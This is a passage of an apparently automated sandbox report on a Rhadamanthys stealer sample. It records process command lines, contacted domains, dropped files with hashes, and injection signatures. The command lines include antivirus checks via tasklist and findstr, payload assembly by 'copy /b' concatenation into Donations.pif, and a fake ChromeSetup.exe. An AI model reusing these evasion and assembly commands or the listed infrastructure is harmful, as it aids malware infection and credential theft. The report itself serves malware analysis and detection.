3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=C077458945434E8DCFED89F002513B1F --renderer-client-id=2 --mojo-platform-channel-handle=1624 --allow-no-sandbox-job /prefetch:1

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=233ED1007F039B36D6EB8288D353A82F --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=233ED1007F039B36D6EB8288D353A82F --renderer-client-id=4 --mojo-platform-channel-handle=2212 --allow-no-sandbox-job /prefetch:1

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=D5A56533E4261D4CEAC64607455EC515 --mojo-platform-channel-handle=2592 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

C:\Windows\SysWOW64\tasklist.exe

tasklist

C:\Windows\SysWOW64\findstr.exe

findstr /I "wrsa.exe opssvc.exe"

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=9BAF8A1DF7A0F5A6C6E189D836DCAE4B --mojo-platform-channel-handle=1820 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=DE6FACF4065766378474D72FA6A13CB6 --mojo-platform-channel-handle=2664 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

C:\Windows\SysWOW64\tasklist.exe

tasklist

C:\Windows\SysWOW64\findstr.exe

findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"

C:\Windows\SysWOW64\cmd.exe

cmd /c md 13137

C:\Windows\SysWOW64\cmd.exe

cmd /c copy /b Compound + Injection + Emotions + Worm + Participants 13137\Donations.pif

C:\Windows\SysWOW64\cmd.exe

cmd /c copy /b Src + Expressions + Safari + Treasury 13137\x

C:\Users\Admin\AppData\Local\Temp\13137\Donations.pif

13137\Donations.pif 13137\x

C:\Windows\SysWOW64\PING.EXE

ping -n 5 127.0.0.1

C:\Windows\SysWOW64\dialer.exe

"C:\Windows\system32\dialer.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4312 -s 820

Network

Country Destination Domain Proto
US 8.8.8.8:53 pdfobject.com udp
US 185.199.111.153:443 pdfobject.com tcp
US 8.8.8.8:53 153.111.199.185.in-addr.arpa udp
US 8.8.8.8:53 eu-pledge.eu udp
FI 65.21.110.244:443 eu-pledge.eu tcp
US 8.8.8.8:53 244.110.21.65.in-addr.arpa udp
US 8.8.8.8:53 nmkrkibbwxQ.nmkrkibbwxQ udp
US 8.8.8.8:53 180.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 135.240.123.92.in-addr.arpa udp
US 8.8.8.8:53 50.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 15.173.189.20.in-addr.arpa udp

Files

memory/4088-2-0x000000006F8B0000-0x000000006FF9E000-memory.dmp

memory/4088-3-0x00000000051D0000-0x00000000051E0000-memory.dmp

memory/4088-4-0x0000000005190000-0x00000000051C6000-memory.dmp

memory/4088-5-0x00000000051D0000-0x00000000051E0000-memory.dmp

memory/4088-6-0x00000000078D0000-0x0000000007EF8000-memory.dmp

memory/4088-7-0x0000000007F00000-0x0000000007F22000-memory.dmp

memory/4088-8-0x0000000008180000-0x00000000081E6000-memory.dmp

memory/4088-9-0x0000000007FA0000-0x0000000008006000-memory.dmp

memory/4088-10-0x00000000082B0000-0x0000000008600000-memory.dmp

memory/4088-11-0x0000000008200000-0x000000000821C000-memory.dmp

memory/4088-12-0x0000000008BA0000-0x0000000008BEB000-memory.dmp

memory/4088-13-0x00000000088F0000-0x0000000008966000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c04brvcn.1jt.ps1

MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

memory/4088-24-0x00000000051D0000-0x00000000051E0000-memory.dmp

memory/4088-25-0x00000000051D0000-0x00000000051E0000-memory.dmp

memory/4088-30-0x000000000A260000-0x000000000A8D8000-memory.dmp

memory/4088-31-0x0000000009820000-0x000000000983A000-memory.dmp

memory/4088-36-0x0000000009BE0000-0x0000000009C74000-memory.dmp

memory/4088-37-0x00000000098B0000-0x00000000098D2000-memory.dmp

memory/4088-38-0x000000000A8E0000-0x000000000ADDE000-memory.dmp

C:\Users\Admin\AppData\Roaming\sample.pdf

MD5 da49bbe37855af62a6a8809453d17b83
SHA1 1f59e84376b2acda296b1b431a16e5cd5dfb7da8
SHA256 229defbb0cee6f02673a5cde290d0673e75a0dc31cec43989c8ab2a4eca7e1bb
SHA512 4aa87ac380cc78375170b08767edac27929fdacceeec84f555dd249239722064388803e675e0ec95c06487cd2c158b83cd768f08d61ee57515e5c52f191f7cd0

C:\Users\Admin\AppData\Roaming\ChromeSetup.exe

MD5 2366f34130db5f39d0d5255782974392
SHA1 6323dd08850cdea997298f91f74078cf0c8e78a2
SHA256 9e495b41518154b5c5cb3fff866aa26c894adf164b2639f05ba23bb5e75be5ef
SHA512 e1a86be3970385627fd110d18a9ba56034cd601c046dbcead2bb5e1e4d0b665c8693c2a0cbd15b3f373b4c018579114640c6d0d0de41081cabae1e424c580803

memory/4088-60-0x000000006F8B0000-0x000000006FF9E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Bathrooms

MD5 b51276964bb7d7ced0ca782c1505d9ca
SHA1 961d8f2ed348d6bfe38f109e97ab8b55db14591c
SHA256 55cc097b9fcc03fd4c728618889b48973ed7bcf36057edd819ef475f4aca9403
SHA512 fd485c564a64fdb53546c5ddee7dbd52fffea81405d81f49d3a7e1081f892f720120448ecb11190623e7e909683170ece6abaea090cdc857b62b17f1a9d2c547

C:\Users\Admin\AppData\Local\Temp\Compound

MD5 d63c5479fd18f86817d489744a338751
SHA1 82385a52bb5485fab0a3d1e7f9a3661bf35d3098
SHA256 3f7aa56dfd875ebf6e3aa86be897f65302f88e4022cf2dc984fdb4ac9cff0037
SHA512 da8a157239ef59e683b2ad06492136cfc52550af0947bb812fc7795f02ab0e09cf510b701a9e247b0ec197879028778a0af8daf01589d1a53090aa4f91bf0361

C:\Users\Admin\AppData\Local\Temp\Injection

MD5 ec92f2e791b5ca001d95fdd601cd73b3
SHA1 4aec16ee635e9eea9732a45d79f9ab8393e966fa
SHA256 ec34737bf586761c5b037e97e4fb4351cf6759e8ce40e5dbaabfe60a44be5179
SHA512 6a5fde00eabb3e36e698b9dc9a5417ab58cbdb866d75a3b49885974b8a1995b64c094532324e9e4187d76990b02910845e63ca00d9bc2026ae77819a5708bd3b

C:\Users\Admin\AppData\Local\Temp\Emotions

MD5 569505062321992f4e2803461c40e724
SHA1 b62f7987f92b4397b02b6894e759096fdee1f7db
SHA256 748a3b063eff70ed5ba8a3a2590f409e5ec79d84d402abae5bb26b42e204e434
SHA512 2d23a0322100f570f2298230338c68bd23b683cae2e9a0f27bd5098a6f1c15699d3ba77a319786df34a60739a79f863adb190b6c3aa5fbc06030ae1872cb71fd

C:\Users\Admin\AppData\Local\Temp\Worm

MD5 aa48266704d06ef9043c5521d52fddd0
SHA1 37754ad688f17e227ba8028efe9127d15c08b922
SHA256 5970fe292d0ac770fcaf67e01e99e913426519285180ecb4638859d6969fc444
SHA512 017ea9572c60918ef9cdb81d6c54fba387434874d4335e76a05f4da9eccc8705c38c1811e152c4bf533188bebb26edc4437743eccb750d522e844af70225f840

C:\Users\Admin\AppData\Local\Temp\Participants

MD5 2e6d79912a858f8e13ce1384b18495d1
SHA1 a509ff203fcd463cc11ec1ebbe5cee251a2d3c04
SHA256 a6ac2704a4b63eaf27bc0a2d100a999176f494e7122efe8f633e51c0e2c42ace
SHA512 707d88b54f2df459d331305d36486a38a4ba0fa30834f2331c599f2d1ed4ba25e1c24eccf116454c24e98129c66ae13ce7d2621aa5dd03da92046c42eb3e6af5

C:\Users\Admin\AppData\Local\Temp\Src

MD5 bca8514ec872114f197260671806ec5d
SHA1 b61846c56e14ed5e819050bd638a49505133889b
SHA256 862e4b3baeb552ed218606848f4014bdb2d51b7cd35dd6d36804973f2c7ec4f5
SHA512 3a6300c19487013e1cce2a0a2ddcf392e872b14f31e5d35d7422848af4026dc7806dfd2c39a4028a86d3e781c075b069fa84cb280c1392bb5fdcedaec5c4109b

C:\Users\Admin\AppData\Local\Temp\Expressions

MD5 6ff11c454a1191120b1f963b120ae6b1
SHA1 9476d445caccd7a725836c102154e4ba17cbc969
SHA256 b0ba9def393d4b5c8f560143c57b6c6a88a057c0291515ade7fa8fb195e03898
SHA512 fee76d9d7d4b824b224b8c7d459f4c75aa8003424395cb3bcfa797fd96115dacacce8b860b3e080ee114e2030e8623675371c9a1212ee4499ed95b62768b4754

C:\Users\Admin\AppData\Local\Temp\Treasury

MD5 3443eaa164d930308366fbc11d04c2fc
SHA1 9470e59283644f44d76ecb945c394d43bb09e15e
SHA256 6fe6f3a3d2e4589b74eec63e6f463c62e5373dca19972ac2db1a7ad9388c033b
SHA512 7ecdc5a2bd98ef7b8ddec6ab3d10f6ef6ce8c0cffc08ac032f14dae46ba1f710b3a86b4d9f950f7ae4fc1ab2379e3771a9b6b9bcb8d3358c5c7ff96e21b48b1a

C:\Users\Admin\AppData\Local\Temp\Safari

MD5 0d90f78364d6b146463b6238e692b0f9
SHA1 241f0eec297841a66f19e29d322533dc59088272
SHA256 ce3e3978e4a8bc847c6307d7ec6e532067e538e98956fc0daade2110f29da540
SHA512 169a26bd6bed4c0a2d3af69ba649d5f4044513a87b35d75d7f1285c3f2cbdb25c3e98c5a7ebeb6a26ef87b6206b83ec18df1e016dcd7c3747d1f61211cd0a610

C:\Users\Admin\AppData\Local\Temp\13137\Donations.pif

MD5 6ee7ddebff0a2b78c7ac30f6e00d1d11
SHA1 f2f57024c7cc3f9ff5f999ee20c4f5c38bfc20a2
SHA256 865347471135bb5459ad0e647e75a14ad91424b6f13a5c05d9ecd9183a8a1cf4
SHA512 57d56de2bb882f491e633972003d7c6562ef2758c3731b913ff4d15379ada575062f4de2a48ca6d6d9241852a5b8a007f52792753fd8d8fee85b9a218714efd0

C:\Users\Admin\AppData\Local\Temp\13137\x

MD5 d9e9c479fdec2481169f89707eaa9cbb
SHA1 9e693b2846ae226fbb3b3d246c014ed6dbb05b16
SHA256 81fdebd186915713be0d402ac5a408a2f6394ee5d6e3bca53ad9acb94ec33cf2
SHA512 4a63c7d2e434e8bff44638d6d165ee4f6a01293f61c0fe64a57468277b071cff731c5615d2b1f17ad33a0c44466c79110ec9ffb8c1a5f40fc0596fa5c8cfd498

memory/4312-114-0x0000000076FF1000-0x0000000077104000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

MD5 b30d3becc8731792523d599d949e63f5
SHA1 19350257e42d7aee17fb3bf139a9d3adb330fad4
SHA256 b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3
SHA512 523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

MD5 752a1f26b18748311b691c7d8fc20633
SHA1 c1f8e83eebc1cc1e9b88c773338eb09ff82ab862
SHA256 111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131
SHA512 a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

MD5 164700537a959d39255f23a6dbefec5f
SHA1 890a015eec38bc2400ae4ea2243e074046e3ed67
SHA256 ef46258f0d3520b6a36f20761ed791f86f136a08e23cd62d12d121abb5cb558a
SHA512 d731484d67355d90eaa9d170bfc923e61db04de04b4cfc8210925542e7b5bbdedbdea38c3930252d11d27c39b8cf09f8617f08196b1cf3281bec0c8e60ded224

memory/4312-233-0x0000000000F50000-0x0000000000F51000-memory.dmp

memory/4312-234-0x0000000005590000-0x00000000055FD000-memory.dmp

memory/4312-235-0x0000000005590000-0x00000000055FD000-memory.dmp

memory/4312-236-0x0000000005590000-0x00000000055FD000-memory.dmp

memory/4312-238-0x0000000005590000-0x00000000055FD000-memory.dmp

memory/4312-239-0x0000000005590000-0x00000000055FD000-memory.dmp

memory/4312-240-0x0000000005590000-0x00000000055FD000-memory.dmp

memory/4312-241-0x0000000005590000-0x00000000055FD000-memory.dmp

memory/4312-243-0x0000000005590000-0x00000000055FD000-memory.dmp

memory/4312-242-0x00000000067D0000-0x0000000006BD0000-memory.dmp

memory/4312-245-0x00000000067D0000-0x0000000006BD0000-memory.dmp

memory/4312-244-0x00000000067D0000-0x0000000006BD0000-memory.dmp

memory/4312-246-0x00007FFADC230000-0x00007FFADC40B000-memory.dmp

memory/4312-247-0x00000000067D0000-0x0000000006BD0000-memory.dmp

memory/4312-249-0x00000000751E0000-0x00000000753A2000-memory.dmp

memory/1244-250-0x00000000005B0000-0x00000000005B9000-memory.dmp

memory/1244-252-0x00000000044F0000-0x00000000048F0000-memory.dmp

memory/1244-253-0x00000000044F0000-0x00000000048F0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\13137\Donations.pif

MD5 392d802dbc227d64ba4bdcdb40775e25
SHA1 c1c948e5cf0cd5687d3d0219691f7c4158d17eb4
SHA256 e4ce8f221087420d11e996777e431f03e71c33aabc8afeee4d92a4ff23af6814
SHA512 ae7f6e0345cc1f3ccf0ae24efa4bd2b0de811e416dc3ebc7eb5bd8915bbd81cefff23f76e030a220f0288988ed6c841408b6a6f03fe646dce8c887b7786344b1

memory/1244-255-0x00007FFADC230000-0x00007FFADC40B000-memory.dmp

memory/1244-259-0x00000000751E0000-0x00000000753A2000-memory.dmp

memory/1244-264-0x00000000044F0000-0x00000000048F0000-memory.dmp

memory/1244-265-0x00007FFADC230000-0x00007FFADC40B000-memory.dmp

memory/4312-266-0x00000000067D0000-0x0000000006BD0000-memory.dmp

memory/1244-267-0x00000000044F0000-0x00000000048F0000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-03-28 03:03

Reported

2024-03-28 03:23

Platform

win10v2004-20240319-en

Max time kernel

1194s

Max time network

1203s

Command Line

sihost.exe

Signatures

Rhadamanthys

stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 5404 created 2660 N/A C:\Users\Admin\AppData\Local\Temp\13140\Donations.pif C:\Windows\system32\sihost.exe

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-817259280-2658881748-983986378-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\mshta.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-817259280-2658881748-983986378-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Roaming\ChromeSetup.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\ChromeSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\13140\Donations.pif N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A

Enumerates processes with tasklist

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\tasklist.exe N/A
N/A N/A C:\Windows\SysWOW64\tasklist.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-817259280-2658881748-983986378-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-817259280-2658881748-983986378-1000_Classes\Local Settings C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\13140\Donations.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\13140\Donations.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\13140\Donations.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\13140\Donations.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\13140\Donations.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\13140\Donations.pif N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\13140\Donations.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\13140\Donations.pif N/A
N/A N/A C:\Windows\SysWOW64\dialer.exe N/A
N/A N/A C:\Windows\SysWOW64\dialer.exe N/A
N/A N/A C:\Windows\SysWOW64\dialer.exe N/A
N/A N/A C:\Windows\SysWOW64\dialer.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\tasklist.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4436 wrote to memory of 1544 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4436 wrote to memory of 1544 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4436 wrote to memory of 1544 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1544 wrote to memory of 4520 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
PID 1544 wrote to memory of 4520 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
PID 1544 wrote to memory of 4520 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
PID 4520 wrote to memory of 220 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 4520 wrote to memory of 220 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 4520 wrote to memory of 220 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1544 wrote to memory of 2964 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\ChromeSetup.exe
PID 1544 wrote to memory of 2964 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\ChromeSetup.exe
PID 1544 wrote to memory of 2964 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\ChromeSetup.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
